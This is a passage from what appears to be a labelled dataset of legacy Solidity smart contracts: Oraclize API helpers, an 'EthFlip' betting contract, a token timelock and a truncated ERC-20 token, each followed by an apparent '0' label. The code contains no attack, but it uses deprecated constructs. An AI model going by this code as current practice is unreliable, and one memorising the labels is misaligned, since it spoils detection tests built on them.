args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){ return oraclize.randomDS_getSessionPubKeyHash(); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal pure returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal pure returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal pure returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string _a, string _b, string _c) internal pure returns (string) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string _a, string _b) internal pure returns (string) { return strConcat(_a, _b, "", "", ""); } function parseInt(string _a) internal pure returns (uint) { return parseInt(_a, 0); } function parseInt(string _a, uint _b) internal pure returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i<bresult.length; i++){ if ((bresult[i] >= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal pure returns (string){ if (i == 0) return "0"; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } function stra2cbor(string[] arr) internal pure returns (bytes) { uint arrlen = arr.length; uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } function ba2cbor(bytes[] arr) internal pure returns (bytes) { uint arrlen = arr.length; uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } string oraclize_network_name; function oraclize_setNetworkName(string _network_name) internal { oraclize_network_name = _network_name; } function oraclize_getNetworkName() internal view returns (string) { return oraclize_network_name; } function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){ require((_nbytes > 0) && (_nbytes <= 32)); bytes memory nbytes = new bytes(1); nbytes[0] = byte(_nbytes); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); assembly { mstore(unonce, 0x20) mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) } bytes[3] memory args = [unonce, nbytes, sessionKeyHash]; bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit); oraclize_randomDS_setCommitment(queryId, keccak256(bytes8(_delay), args[1], sha256(args[0]), args[2])); return queryId; } function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal { oraclize_randomDS_args[queryId] = commitment; } mapping(bytes32=>bytes32) oraclize_randomDS_args; mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified; function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){ bool sigok; address signer; bytes32 sigr; bytes32 sigs; bytes memory sigr_ = new bytes(32); uint offset = 4+(uint(dersig[3]) - 0x20); sigr_ = copyBytes(dersig, offset, 32, sigr_, 0); bytes memory sigs_ = new bytes(32); offset += 32 + 2; sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0); assembly { sigr := mload(add(sigr_, 32)) sigs := mload(add(sigs_, 32)) } (sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs); if (address(keccak256(pubkey)) == signer) return true; else { (sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs); return (address(keccak256(pubkey)) == signer); } } function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) { bool sigok; bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2); copyBytes(proof, sig2offset, sig2.length, sig2, 0); bytes memory appkey1_pubkey = new bytes(64); copyBytes(proof, 3+1, 64, appkey1_pubkey, 0); bytes memory tosign2 = new bytes(1+65+32); tosign2[0] = byte(1); copyBytes(proof, sig2offset-65, 65, tosign2, 1); bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c"; copyBytes(CODEHASH, 0, 32, tosign2, 1+65); sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); if (sigok == false) return false; bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4"; bytes memory tosign3 = new bytes(1+65); tosign3[0] = 0xFE; copyBytes(proof, 3, 65, tosign3, 1); bytes memory sig3 = new bytes(uint(proof[3+65+1])+2); copyBytes(proof, 3+65, sig3.length, sig3, 0); sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); return sigok; } modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) { require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1)); bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); require(proofVerified); _; } function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){ if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) return 2; return 0; } function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){ bool match_ = true; for (uint256 i=0; i< n_random_bytes; i++) { if (content[i] != prefix[i]) match_ = false; } return match_; } function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){ uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32; bytes memory keyhash = new bytes(32); copyBytes(proof, ledgerProofLength, 32, keyhash, 0); if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false; bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2); copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0); if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false; bytes memory commitmentSlice1 = new bytes(8+1+32); copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0); bytes memory sessionPubkey = new bytes(64); uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65; copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0); bytes32 sessionPubkeyHash = sha256(sessionPubkey); if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){ delete oraclize_randomDS_args[queryId]; } else return false; bytes memory tosign1 = new bytes(32+8+1+32); copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0); if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false; if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){ oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset); } return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; } function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) { uint minLength = length + toOffset; require(to.length >= minLength); uint i = 32 + fromOffset; uint j = 32 + toOffset; while (i < (32 + fromOffset + length)) { assembly { let tmp := mload(add(from, i)) mstore(add(to, j), tmp) } i += 32; j += 32; } return to; } function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { bool ret; address addr; assembly { let size := mload(0x40) mstore(size, hash) mstore(add(size, 32), v) mstore(add(size, 64), r) mstore(add(size, 96), s) ret := call(3000, 1, 0, size, 128, size, 32) addr := mload(size) } return (ret, addr); } function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return (false, 0); assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) v := byte(0, mload(add(sig, 96))) } if (v < 27) v += 27; if (v != 27 && v != 28) return (false, 0); return safer_ecrecover(hash, v, r, s); } } contract EthFlip is usingOraclize { struct Bet { bool win; uint betValue; uint timestamp; address playerAddress; uint randomNumber; bool low; } struct Player { uint[] betNumbers; } struct QueryMap { uint betValue; address playerAddress; bool low; } bool private gamePaused; uint private minBet; uint private maxBet; uint private houseFee; uint private oraclizeGas; uint private oraclizeGasPrice; address private owner; uint private currentBetNumber; uint private totalPayouts; uint private totalWins; uint private totalLosses; mapping (address => Player) private playerBetNumbers; mapping (uint => Bet) private pastBets; mapping (uint => QueryMap) private queryIdMap; event BetComplete(bool _win, uint _betNumber, uint _betValue, uint _timestamp, address _playerAddress, uint _randomNumber, bool _low); event GameStatusUpdate(bool _paused); event MinBetUpdate(uint _newMin); event MaxBetUpdate(uint _newMax); event HouseFeeUpdate(uint _newFee); event OwnerUpdate(address _newOwner); modifier gameIsActive { require(!gamePaused); _; } modifier gameIsNotActive { require(gamePaused); _; } modifier senderIsOwner { require(msg.sender == owner); _; } modifier senderIsOraclize { require(msg.sender == oraclize_cbAddress()); _; } modifier sentEnoughForBet { require(msg.value >= minBet); _; } modifier didNotSendOverMaxBet { require(msg.value <= maxBet); _; } function EthFlip() public { minBet = 100000000000000000; maxBet = 500000000000000000; houseFee = 29; oraclizeGas = 500000; oraclizeGasPrice = 4010000000; oraclize_setCustomGasPrice(oraclizeGasPrice); oraclize_setProof(proofType_Ledger); owner = msg.sender; totalPayouts = 21167800000000000000; totalWins = 95; totalLosses = 95; } function() public payable {} function betLow() public payable gameIsActive sentEnoughForBet didNotSendOverMaxBet { secureGenerateNumber(msg.sender, msg.value, true); } function betHigh() public payable gameIsActive sentEnoughForBet didNotSendOverMaxBet { secureGenerateNumber(msg.sender, msg.value, false); } function secureGenerateNumber(address _playerAddress, uint _betValue, bool _low) private { bytes32 queryId = oraclize_newRandomDSQuery(0, 1, oraclizeGas); uint convertedId = uint(keccak256(queryId)); newUnprocessedQuery(convertedId, queryId); queryIdMap[convertedId].betValue = _betValue; queryIdMap[convertedId].playerAddress = _playerAddress; queryIdMap[convertedId].low = _low; } function checkIfWon(uint _currentQueryId, uint _randomNumber) private { bool win; if (_randomNumber != 101) { if (queryIdMap[_currentQueryId].low) { if (_randomNumber < 51) { win = true; sendPayout(_currentQueryId, subtractHouseFee(queryIdMap[_currentQueryId].betValue*2)); } else { win = false; sendOneWei(_currentQueryId); } } else { if (_randomNumber > 50) { win = true; sendPayout(_currentQueryId, subtractHouseFee(queryIdMap[_currentQueryId].betValue*2)); } else { win = false; sendOneWei(_currentQueryId); } } } else { win = false; sendRefund(_currentQueryId); } logBet(_currentQueryId, _randomNumber, win); } function sendPayout(uint _currentQueryId, uint _amountToPayout) private { uint payout = _amountToPayout; _amountToPayout = 0; queryIdMap[_currentQueryId].playerAddress.transfer(payout); } function sendOneWei(uint _currentQueryId) private { queryIdMap[_currentQueryId].playerAddress.transfer(1); } function sendRefund(uint _currentQueryId) private { queryIdMap[_currentQueryId].playerAddress.transfer(queryIdMap[_currentQueryId].betValue); } function subtractHouseFee(uint _amount) view private returns (uint _result) { return (_amount*(1000-houseFee))/1000; } function logBet(uint _currentQueryId, uint _randomNumber, bool _win) private { currentBetNumber++; if (_win) { totalWins++; totalPayouts += subtractHouseFee(queryIdMap[_currentQueryId].betValue*2); } else { if (_randomNumber != 101) { totalLosses++; } } pastBets[currentBetNumber] = Bet({win:_win, betValue:queryIdMap[_currentQueryId].betValue, timestamp:block.timestamp, playerAddress:queryIdMap[_currentQueryId].playerAddress, randomNumber:_randomNumber, low:queryIdMap[_currentQueryId].low}); playerBetNumbers[queryIdMap[_currentQueryId].playerAddress].betNumbers.push(currentBetNumber); BetComplete(_win, currentBetNumber, queryIdMap[_currentQueryId].betValue, block.timestamp, queryIdMap[_currentQueryId].playerAddress, _randomNumber, queryIdMap[_currentQueryId].low); queryIdMap[_currentQueryId].betValue = 0; } function getLastBetNumber() constant public returns (uint) { return currentBetNumber; } function getTotalPayouts() constant public returns (uint) { return totalPayouts; } function getTotalWins() constant public returns (uint) { return totalWins; } function getTotalLosses() constant public returns (uint) { return totalLosses; } function getBalance() constant public returns (uint) { return this.balance; } function getGamePaused() constant public returns (bool) { return gamePaused; } function getMinBet() constant public returns (uint) { return minBet; } function getMaxBet() constant public returns (uint) { return maxBet; } function getHouseFee() constant public returns (uint) { return houseFee; } function getOraclizeGas() constant public returns (uint) { return oraclizeGas; } function getOraclizeGasPrice() constant public returns (uint) { return oraclizeGasPrice; } function getOwnerAddress() constant public returns (address) { return owner; } function getPlayerBetNumbers(address _playerAddress) constant public returns (uint[] _betNumbers) { return (playerBetNumbers[_playerAddress].betNumbers); } function getPastBet(uint _betNumber) constant public returns (bool _win, uint _betValue, uint _timestamp, address _playerAddress, uint _randomNumber, bool _low) { require(currentBetNumber >= _betNumber); return (pastBets[_betNumber].win, pastBets[_betNumber].betValue, pastBets[_betNumber].timestamp, pastBets[_betNumber].playerAddress, pastBets[_betNumber].randomNumber, pastBets[_betNumber].low); } function pauseGame() public senderIsOwner gameIsActive { gamePaused = true; GameStatusUpdate(true); } function resumeGame() public senderIsOwner gameIsNotActive { gamePaused = false; GameStatusUpdate(false); } function setMaxBet(uint _newMax) public senderIsOwner gameIsNotActive { require(_newMax >= 100000000000000000); maxBet = _newMax; MaxBetUpdate(_newMax); } function setMinBet(uint _newMin) public senderIsOwner gameIsNotActive { require(_newMin >= 100000000000000000); minBet = _newMin; MinBetUpdate(_newMin); } function setHouseFee(uint _newFee) public senderIsOwner gameIsNotActive { require(_newFee <= 100); houseFee = _newFee; HouseFeeUpdate(_newFee); } function setOraclizeGas(uint _newGas) public senderIsOwner gameIsNotActive { oraclizeGas = _newGas; } function setOraclizeGasPrice(uint _newPrice) public senderIsOwner gameIsNotActive { oraclizeGasPrice = _newPrice + 10000000; oraclize_setCustomGasPrice(oraclizeGasPrice); } function setOwner(address _newOwner) public senderIsOwner gameIsNotActive { owner = _newOwner; OwnerUpdate(_newOwner); } function selfDestruct() public senderIsOwner gameIsNotActive { selfdestruct(owner); } struct UnprocessedQueryBytes32 { bytes32 unprocessedQueryBytes32; uint listPointer; } mapping(uint => UnprocessedQueryBytes32) public unprocessedQueryBytes32s; uint[] public unprocessedQueryList; function isUnprocessedQuery(uint unprocessedQueryUint) private constant returns(bool isIndeed) { if(unprocessedQueryList.length == 0) return false; return (unprocessedQueryList[unprocessedQueryBytes32s[unprocessedQueryUint].listPointer] == unprocessedQueryUint); } function getUnprocessedQueryCount() public constant returns(uint unprocessedQueryCount) { return unprocessedQueryList.length; } function newUnprocessedQuery(uint unprocessedQueryUint, bytes32 unprocessedQueryBytes32) private { if(isUnprocessedQuery(unprocessedQueryUint)) throw; unprocessedQueryBytes32s[unprocessedQueryUint].unprocessedQueryBytes32 = unprocessedQueryBytes32; unprocessedQueryBytes32s[unprocessedQueryUint].listPointer = unprocessedQueryList.push(unprocessedQueryUint) - 1; } function deleteUnprocessedQuery(uint unprocessedQueryUint) private { if(!isUnprocessedQuery(unprocessedQueryUint)) throw; uint rowToDelete = unprocessedQueryBytes32s[unprocessedQueryUint].listPointer; uint keyToMove = unprocessedQueryList[unprocessedQueryList.length-1]; unprocessedQueryList[rowToDelete] = keyToMove; unprocessedQueryBytes32s[keyToMove].listPointer = rowToDelete; unprocessedQueryList.length--; } function __callback(bytes32 _queryId, string _result, bytes _proof) public senderIsOraclize { uint currentQueryId = uint(keccak256(_queryId)); uint randomNumber = 101; if (oraclize_randomDS_proofVerify__returnCode(_queryId, _result, _proof) == 0) { randomNumber = (uint(keccak256(_result)) % 100) + 1; } if (queryIdMap[currentQueryId].betValue != 0) { deleteUnprocessedQuery(currentQueryId); checkIfWon(currentQueryId, randomNumber); } } }
0
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 29462400; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x9b7594E21b86f6e0DB8F7Ae788689FeCf228646B; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.11; contract Token { uint256 public totalSupply; function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address 